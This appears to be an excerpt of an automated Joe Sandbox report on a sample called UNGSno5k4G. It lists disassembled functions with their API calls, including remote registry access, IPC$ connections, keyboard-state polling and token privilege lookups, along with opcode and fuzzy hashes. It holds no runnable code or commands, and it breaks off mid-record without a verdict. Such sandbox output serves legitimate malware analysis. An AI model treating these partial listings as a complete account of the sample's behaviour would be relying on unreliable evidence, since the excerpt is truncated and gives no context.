                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: LoadString_printf$__swprintf_wcslen
                                                                                                                                                  • String ID: Error: $%s (%d) : ==> %s:$%s (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
                                                                                                                                                  • API String ID: 3590180749-2354261254
                                                                                                                                                  • Opcode ID: fd3ade05fede2dfa3d14bccfacac15f81e3d16141c85e45952f832d3a26197ce
                                                                                                                                                  • Instruction ID: 835382aeb01427732dc6b750cf2ba574ed77461063debdd42288bdc21f9728b4
                                                                                                                                                  • Opcode Fuzzy Hash: fd3ade05fede2dfa3d14bccfacac15f81e3d16141c85e45952f832d3a26197ce
                                                                                                                                                  • Instruction Fuzzy Hash: B051D5715143019BD324FB51CC41EAF77A8AF84354F14093FF94563292DB78AE49CB6A
                                                                                                                                                  Function 004580E1 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 136registryshareCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                  • _memset.LIBCMT ref: 00458194
                                                                                                                                                  • WNetAddConnection2W.MPR(?,?,?,00000000), ref: 004581D6
                                                                                                                                                  • RegConnectRegistryW.ADVAPI32(?,80000002,00000000), ref: 004581F4
                                                                                                                                                  • RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,00000000), ref: 00458219
                                                                                                                                                  • RegQueryValueExW.ADVAPI32(00000000,00000000,00000000,00000000,?,?), ref: 00458248
                                                                                                                                                  • CLSIDFromString.OLE32(00000000,?), ref: 00458279
                                                                                                                                                  • RegCloseKey.ADVAPI32(00000000), ref: 0045828F
                                                                                                                                                  • RegCloseKey.ADVAPI32(00000000), ref: 00458296
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memset_wcslen
                                                                                                                                                  • String ID: SOFTWARE\Classes\$\CLSID$\IPC$
                                                                                                                                                  • API String ID: 2255324689-22481851
                                                                                                                                                  • Opcode ID: 40f125b4ffe5f12493adc0cb93ab67eb911e8c28f62e3d79c4190a4fe5521cad
                                                                                                                                                  • Instruction ID: 0916ae95de1959dc40878de41837780f7e862baf069d4d5c3429810960799c2e
                                                                                                                                                  • Opcode Fuzzy Hash: 40f125b4ffe5f12493adc0cb93ab67eb911e8c28f62e3d79c4190a4fe5521cad
                                                                                                                                                  • Instruction Fuzzy Hash: 4A4190725083019BD320EF54C845B5FB7E8AF84714F044D2EFA8577291DBB8E949CB9A
                                                                                                                                                  Function 004584D6 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 105registryCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • RegOpenKeyExW.ADVAPI32(80000000,interface,00000000,00020019,?), ref: 00458513
                                                                                                                                                  • RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?), ref: 00458538
                                                                                                                                                  • RegCloseKey.ADVAPI32(?), ref: 00458615
                                                                                                                                                    • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                  • RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,000001FE,interface\), ref: 0045858A
                                                                                                                                                  • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,00000028), ref: 004585A8
                                                                                                                                                  • __wcsicoll.LIBCMT ref: 004585D6
                                                                                                                                                  • IIDFromString.OLE32(?,?,?,?), ref: 004585EB
                                                                                                                                                  • RegCloseKey.ADVAPI32(?), ref: 004585F8
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: CloseOpen$EnumFromQueryStringValue__wcsicoll_wcslen
                                                                                                                                                  • String ID: ($interface$interface\
                                                                                                                                                  • API String ID: 2231185022-3327702407
                                                                                                                                                  • Opcode ID: f3ba987632fb2ab980929a1e8c26c1d4f1068388d2a95cb25d4e52b6d927b3fe
                                                                                                                                                  • Instruction ID: 2ed788c9a442d2de66cb2a0eaf665167c450c6ff9570aaff4df7cfaf3afbbce1
                                                                                                                                                  • Opcode Fuzzy Hash: f3ba987632fb2ab980929a1e8c26c1d4f1068388d2a95cb25d4e52b6d927b3fe
                                                                                                                                                  • Instruction Fuzzy Hash: CE317271204305ABE710DF54DD85F6BB3E8FB84744F10492DF685A6191EAB8E908C76A
                                                                                                                                                  Function 00436582 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 79networkCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • WSAStartup.WSOCK32(00000101,?), ref: 004365A5
                                                                                                                                                  • gethostname.WSOCK32(00000100,00000100,00000101,?), ref: 004365BC
                                                                                                                                                  • gethostbyname.WSOCK32(00000101,00000100,00000100,00000101,?), ref: 004365C6
                                                                                                                                                  • _wcscpy.LIBCMT ref: 004365F5
                                                                                                                                                  • WSACleanup.WSOCK32 ref: 004365FD
                                                                                                                                                  • inet_ntoa.WSOCK32(00000100,?), ref: 00436624
                                                                                                                                                  • _strcat.LIBCMT ref: 0043662F
                                                                                                                                                  • _wcscpy.LIBCMT ref: 00436644
                                                                                                                                                  • WSACleanup.WSOCK32(?,?,?,?,?,?,00000100,?), ref: 00436652
                                                                                                                                                  • _wcscpy.LIBCMT ref: 00436666
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: _wcscpy$Cleanup$Startup_strcatgethostbynamegethostnameinet_ntoa
                                                                                                                                                  • String ID: 0.0.0.0
                                                                                                                                                  • API String ID: 2691793716-3771769585
                                                                                                                                                  • Opcode ID: 72edaa20f59d4c855ae2a4057bf2e912041bb0bcae33cfe0ba1e7234a9852c49
                                                                                                                                                  • Instruction ID: 29d249c793a1599df1911ffab6ed89036a29d54f41df1114d8fa63e2d2305339
                                                                                                                                                  • Opcode Fuzzy Hash: 72edaa20f59d4c855ae2a4057bf2e912041bb0bcae33cfe0ba1e7234a9852c49
                                                                                                                                                  • Instruction Fuzzy Hash: 5C21D4726003016BD620FB269C42FFF33A89FD4318F54492FF64456242EABDD58983AB
                                                                                                                                                  Function 00416B12 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 57libraryloaderCOMMONLIBRARYCODE
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetModuleHandleW.KERNEL32(KERNEL32.DLL,0048C968,0000000C,00416C4D,00000000,00000000,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416B24
                                                                                                                                                  • __crt_waiting_on_module_handle.LIBCMT ref: 00416B2F
                                                                                                                                                    • Part of subcall function 0041177F: Sleep.KERNEL32(000003E8,?,?,00416A38,KERNEL32.DLL,?,00411B0C,?,00413973,00411739,?,?,00411739,?,00401C0B), ref: 0041178B
                                                                                                                                                    • Part of subcall function 0041177F: GetModuleHandleW.KERNEL32(00411739,?,?,00416A38,KERNEL32.DLL,?,00411B0C,?,00413973,00411739,?,?,00411739,?,00401C0B), ref: 00411794
                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 00416B58
                                                                                                                                                  • GetProcAddress.KERNEL32(00411739,DecodePointer), ref: 00416B68
                                                                                                                                                  • __lock.LIBCMT ref: 00416B8A
                                                                                                                                                  • InterlockedIncrement.KERNEL32(00EA60FF), ref: 00416B97
                                                                                                                                                  • __lock.LIBCMT ref: 00416BAB
                                                                                                                                                  • ___addlocaleref.LIBCMT ref: 00416BC9
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: AddressHandleModuleProc__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
                                                                                                                                                  • String ID: DecodePointer$EncodePointer$KERNEL32.DLL
                                                                                                                                                  • API String ID: 1028249917-2843748187
                                                                                                                                                  • Opcode ID: 149215eb9963fdce733e6eee9b7d54027110d9b9ecd285c2a82fe369659baa59
                                                                                                                                                  • Instruction ID: dfb830706c011728ae11a8c0f52cb2fa371409e71f4acd403326aacb15a29bdd
                                                                                                                                                  • Opcode Fuzzy Hash: 149215eb9963fdce733e6eee9b7d54027110d9b9ecd285c2a82fe369659baa59
                                                                                                                                                  • Instruction Fuzzy Hash: 4E119671944701AFD720EF76C905B9EBBE0AF00714F10495FE469A6391DB78A580CB1D
                                                                                                                                                  Function 00453B94 Relevance: 18.2, APIs: 12, Instructions: 188keyboardCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetKeyboardState.USER32(?,?,00000000), ref: 00453C0D
                                                                                                                                                  • SetKeyboardState.USER32(?), ref: 00453C5A
                                                                                                                                                  • GetAsyncKeyState.USER32(000000A0), ref: 00453C82
                                                                                                                                                  • GetKeyState.USER32(000000A0), ref: 00453C99
                                                                                                                                                  • GetAsyncKeyState.USER32(000000A1), ref: 00453CC9
                                                                                                                                                  • GetKeyState.USER32(000000A1), ref: 00453CDA
                                                                                                                                                  • GetAsyncKeyState.USER32(00000011), ref: 00453D07
                                                                                                                                                  • GetKeyState.USER32(00000011), ref: 00453D15
                                                                                                                                                  • GetAsyncKeyState.USER32(00000012), ref: 00453D3F
                                                                                                                                                  • GetKeyState.USER32(00000012), ref: 00453D4D
                                                                                                                                                  • GetAsyncKeyState.USER32(0000005B), ref: 00453D77
                                                                                                                                                  • GetKeyState.USER32(0000005B), ref: 00453D85
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: State$Async$Keyboard
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 541375521-0
                                                                                                                                                  • Opcode ID: 439544d7db57c6269f5a832870b7215b314e2d5ec2fc8731d7b6f8ebe45629c5
                                                                                                                                                  • Instruction ID: 09d2c23b2f41f951af40c960ff4fa7a39ed3d74d48f5bb091813d5d41b5bf946
                                                                                                                                                  • Opcode Fuzzy Hash: 439544d7db57c6269f5a832870b7215b314e2d5ec2fc8731d7b6f8ebe45629c5
                                                                                                                                                  • Instruction Fuzzy Hash: BD5108311497C42AF731EF6048217A7BBE45F52782F488D5EE9C107283E619AB0C976B
                                                                                                                                                  Function 00436879 Relevance: 18.1, APIs: 12, Instructions: 115COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: _wcscat_wcscpy$__wsplitpath$_wcschr
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 136442275-0
                                                                                                                                                  • Opcode ID: 8bb1124220d8f68122d0f1a8633f784f40ed2a0c71bdd1f95919e960fb23027d
                                                                                                                                                  • Instruction ID: e47e2093bf76b35e8f1fec89578fc46911e8a4506192668d3a16ce6d5165f020
                                                                                                                                                  • Opcode Fuzzy Hash: 8bb1124220d8f68122d0f1a8633f784f40ed2a0c71bdd1f95919e960fb23027d
                                                                                                                                                  • Instruction Fuzzy Hash: 744124B2408345ABC235E754C885EEF73ECABD8314F44891EB68D42141EB796688C7A7
                                                                                                                                                  Function 0046B39A Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 401registryCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                  • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046B479
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: ConnectRegistry_wcslen
                                                                                                                                                  • String ID: HH
                                                                                                                                                  • API String ID: 535477410-2761332787
                                                                                                                                                  • Opcode ID: e167cb1a0d39dc08627fc1a452005d5be18e6f56cd7a12c3ea5d5bbd580dbf7f
                                                                                                                                                  • Instruction ID: 7a368be733395892e28f24b11b3b05e85d853a2cd395d98498a1c99032eed9d9
                                                                                                                                                  • Opcode Fuzzy Hash: e167cb1a0d39dc08627fc1a452005d5be18e6f56cd7a12c3ea5d5bbd580dbf7f
                                                                                                                                                  • Instruction Fuzzy Hash: 63E171B1604200ABC714EF28C981F1BB7E4EF88704F148A1EF685DB381D779E945CB9A
                                                                                                                                                  Function 00460473 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 255COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetClassNameW.USER32(?,?,00000400), ref: 004604B5
                                                                                                                                                  • GetWindowTextW.USER32(?,?,00000400), ref: 004604F1
                                                                                                                                                  • _wcslen.LIBCMT ref: 00460502
                                                                                                                                                  • CharUpperBuffW.USER32(?,00000000), ref: 00460510
                                                                                                                                                  • GetClassNameW.USER32(?,?,00000400), ref: 00460589
                                                                                                                                                  • GetWindowTextW.USER32(?,?,00000400), ref: 004605C2
                                                                                                                                                  • GetClassNameW.USER32(?,?,00000400), ref: 00460606
                                                                                                                                                  • GetClassNameW.USER32(?,?,00000400), ref: 0046063E
                                                                                                                                                  • GetWindowRect.USER32(?,?), ref: 004606AD
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen
                                                                                                                                                  • String ID: ThumbnailClass
                                                                                                                                                  • API String ID: 4123061591-1241985126
                                                                                                                                                  • Opcode ID: d81b9eb1014bf0c552f647121340d293adfb5e43e55e37c5a686eb3c785bede7
                                                                                                                                                  • Instruction ID: b645ef8d54a60b7d8a856e9fdf4d8999e4c56e3b903fe9b51be5921097eabf2a
                                                                                                                                                  • Opcode Fuzzy Hash: d81b9eb1014bf0c552f647121340d293adfb5e43e55e37c5a686eb3c785bede7
                                                                                                                                                  • Instruction Fuzzy Hash: 3F91B0715043019FDB14DF24C884BAB77A8EF84715F04896FFD85AA281E778E905CBAB
                                                                                                                                                  Function 0046FD7F Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 143windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • ExtractIconExW.SHELL32(?,?,00000000,?,00000001), ref: 0046FD8A
                                                                                                                                                  • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001,004A83D8,?), ref: 0046FDF0
                                                                                                                                                  • SendMessageW.USER32(?,00001109,00000000,00000000), ref: 0046FE0E
                                                                                                                                                  • ImageList_ReplaceIcon.COMCTL32(?,000000FF,?,004A83D8,?), ref: 0046FE20
                                                                                                                                                  • SendMessageW.USER32(?,0000113E,00000000,?), ref: 0046FEA5
                                                                                                                                                  • SendMessageW.USER32(?,0000113F,00000000,?), ref: 0046FEDF
                                                                                                                                                  • GetClientRect.USER32(?,?), ref: 0046FEF2
                                                                                                                                                  • RedrawWindow.USER32(?,?,00000000,00000000), ref: 0046FF02
                                                                                                                                                  • DestroyIcon.USER32(?), ref: 0046FFCC
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: IconMessageSend$ImageList_$ClientCreateDestroyExtractRectRedrawReplaceWindow
                                                                                                                                                  • String ID: 2
                                                                                                                                                  • API String ID: 1331449709-450215437
                                                                                                                                                  • Opcode ID: 0839cb131ab93339cce718f32a9fb856b385d6e902e652cc812f2dbbb554e4d7
                                                                                                                                                  • Instruction ID: e79942d1a0196d9b5e30c5c178d8ccafd59c9ae1e7fac48b8759c586c5a3b44e
                                                                                                                                                  • Opcode Fuzzy Hash: 0839cb131ab93339cce718f32a9fb856b385d6e902e652cc812f2dbbb554e4d7
                                                                                                                                                  • Instruction Fuzzy Hash: EB51AC702043019FD320CF44D885BAABBE5FB88700F04487EE684872A2D7B5A849CB5A
                                                                                                                                                  Function 004393E2 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 109threadCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetCurrentProcess.KERNEL32(00000008,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00439409
                                                                                                                                                  • OpenThreadToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?), ref: 0043940C
                                                                                                                                                  • GetCurrentProcess.KERNEL32(00000008,?,?,?,?,?,?,?,?,?,?), ref: 0043941D
                                                                                                                                                  • OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?), ref: 00439420
                                                                                                                                                  • LookupPrivilegeValueW.ADVAPI32(00000000,SeAssignPrimaryTokenPrivilege,?), ref: 0043945B
                                                                                                                                                  • LookupPrivilegeValueW.ADVAPI32(00000000,SeIncreaseQuotaPrivilege,?), ref: 00439474
                                                                                                                                                  • _memcmp.LIBCMT ref: 004394A9
                                                                                                                                                  • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004394F8
                                                                                                                                                  Strings
                                                                                                                                                  • SeAssignPrimaryTokenPrivilege, xrefs: 00439455
                                                                                                                                                  • SeIncreaseQuotaPrivilege, xrefs: 0043946A
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Process$CurrentLookupOpenPrivilegeTokenValue$CloseHandleThread_memcmp
                                                                                                                                                  • String ID: SeAssignPrimaryTokenPrivilege$SeIncreaseQuotaPrivilege
                                                                                                                                                  • API String ID: 1446985595-805462909
                                                                                                                                                  • Opcode ID: 7b5964ebc210eec24af21402e2b7f40e95def761f5b1447ed6d44f65f7ea18b7
                                                                                                                                                  • Instruction ID: 628aaead06b6f58e004e5b45c2ed9710a22b4d2b921ab75b424857e8fd72c9d6
                                                                                                                                                  • Opcode Fuzzy Hash: 7b5964ebc210eec24af21402e2b7f40e95def761f5b1447ed6d44f65f7ea18b7
                                                                                                                                                  • Instruction Fuzzy Hash: DB31A371508312ABC710DF21CD41AAFB7E8FB99704F04591EF98193240E7B8DD4ACBAA
                                                                                                                                                  Function 004691F4 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 88windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                  • SendMessageW.USER32(00000000,0000018C,000000FF,00000000), ref: 00469277
                                                                                                                                                  • GetDlgCtrlID.USER32(00000000), ref: 00469289
                                                                                                                                                  • GetParent.USER32 ref: 004692A4
                                                                                                                                                  • SendMessageW.USER32(00000000,?,00000111), ref: 004692A7
                                                                                                                                                  • GetDlgCtrlID.USER32(00000000), ref: 004692AE
                                                                                                                                                  • GetParent.USER32 ref: 004692C7
                                                                                                                                                  • SendMessageW.USER32(00000000,?,00000111,?), ref: 004692CA
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: MessageSend$CtrlParent$_wcslen
                                                                                                                                                  • String ID: @U=u$ComboBox$ListBox
                                                                                                                                                  • API String ID: 2040099840-2258501812
                                                                                                                                                  • Opcode ID: d7a46b5f720fef199203ad69d051b39deebb3b2451f9d950c399d088bcf038a9
                                                                                                                                                  • Instruction ID: ef07326ddff4210f4741e87947fad3c2ec39ee11b6619cfdf8cc81125e1c6f8c
                                                                                                                                                  • Opcode Fuzzy Hash: d7a46b5f720fef199203ad69d051b39deebb3b2451f9d950c399d088bcf038a9
